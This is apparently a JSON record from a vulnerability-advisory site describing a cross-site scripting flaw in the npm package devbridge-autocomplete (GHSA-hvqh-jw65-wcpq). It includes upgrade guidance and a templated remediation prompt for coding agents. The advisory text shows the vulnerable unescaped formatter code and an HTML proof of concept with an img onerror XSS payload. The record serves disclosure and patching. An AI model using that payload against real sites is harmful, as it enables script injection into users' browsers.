{"answers":{"affected":"2 open source packages ship an affected version, including devbridge-autocomplete.","exploited":"There is no known exploitation of GHSA-hvqh-jw65-wcpq in the wild and no public exploit code.","fix":"Upgrade devbridge-autocomplete to 2.0.1 or later.","what":"GHSA-hvqh-jw65-wcpq is a cross-site scripting vulnerability in devbridge-autocomplete, published on 22 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-hvqh-jw65-wcpq and fix it if it is affected.\n\nWhat it is: GHSA-hvqh-jw65-wcpq is a cross-site scripting vulnerability in devbridge-autocomplete, published on 22 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-hvqh-jw65-wcpq in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- devbridge-autocomplete (npm): affected all versions; fixed in 2.0.1\n- devbridge-autocomplete (npm): affected all versions; fixed in 2.0.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-hvqh-jw65-wcpq/ (Markdown: https://insights.sbomify.com/GHSA-hvqh-jw65-wcpq/index.md)","id":"GHSA-hvqh-jw65-wcpq","markdown":"https://insights.sbomify.com/GHSA-hvqh-jw65-wcpq/index.md","name":"GHSA-hvqh-jw65-wcpq","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"JavaScript autocomplete library","requires_auth":"none","summary":"Cross-site scripting vulnerability in devbridge-autocomplete allows attackers to execute arbitrary scripts via unescaped HTML in suggestion data.","user_interaction":"required","vuln_class":"xss"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nThe default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.\n\n### Details\n\n**1. `formatGroup` — `category` is interpolated raw.**\n\n`src/format.ts`:\n\n```ts\nfunction formatGroup(suggestion, category) {\n    return '\u003cdiv class=\"autocomplete-group\"\u003e' + category + '\u003c/div\u003e';\n}\n```\n\nIf `groupBy` is used and the grouping field of any suggestion contains HTML, that HTML is executed.\n\n**2. `formatResult` — early-return branch returns `suggestion.value` raw.**\n\n`src/format.ts`:\n\n```ts\nfunction formatResult(suggestion, currentValue) {\n    if (!currentValue) {\n        return suggestion.value;   // un-escaped\n    }\n    /* ... non-empty path escapes correctly ... */\n}\n```\n\nThe early-return branch is reached when `suggest()` renders with an empty `currentValue`, which happens with `minChars: 0` and a server that returns suggestions for an empty query. The returned string is concatenated into the container's `innerHTML`.\n\n### PoC (formatGroup)\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003ctitle\u003ePoC: formatGroup XSS in jQuery-Autocomplete v2.0.0\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cinput id=\"ac\" type=\"text\" placeholder=\"Type 'a' to trigger\" autocomplete=\"off\"\u003e\n\n    \u003cscript src=\"https://code.jquery.com/jquery-3.7.1.min.js\"\u003e\u003c/script\u003e\n    \u003cscript src=\"dist/jquery.autocomplete.js\"\u003e\u003c/script\u003e\n    \u003cscript\u003e\n        var poisoned = [\n            { value: 'Apple',   data: { category: \"\u003cimg src=x onerror=\\\"alert('XSS via formatGroup')\\\"\u003e\" } },\n            { value: 'Avocado', data: { category: 'Safe Group' } }\n        ];\n\n        $('#ac').devbridgeAutocomplete({\n            lookup: poisoned,\n            groupBy: 'category',\n            minChars: 1\n        });\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nOriginally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.\n\n### Impact\n\nXSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.\n\n### Patch\n\nBoth formatters now run their interpolated input through the browser's text-node escaping (`createElement` + `textContent`) before producing the HTML string. Fixed in version `2.0.1`.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping","id":"GHSA-hvqh-jw65-wcpq","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"xss","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2.0.1"],"introduced":["0"],"last_affected":[],"package":"devbridge-autocomplete","purl":null,"source":"GHSA-hvqh-jw65-wcpq"},{"ecosystem":"npm","fixed":["2.0.1"],"introduced":["0"],"last_affected":[],"package":"devbridge-autocomplete","purl":"pkg:npm/devbridge-autocomplete","source":"GHSA-hvqh-jw65-wcpq"}],"products":null,"published":"2026-06-22","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Cross-site scripting vulnerability in devbridge-autocomplete allows attackers to execute arbitrary scripts via unescaped HTML in suggestion data.","url":"https://insights.sbomify.com/GHSA-hvqh-jw65-wcpq/"}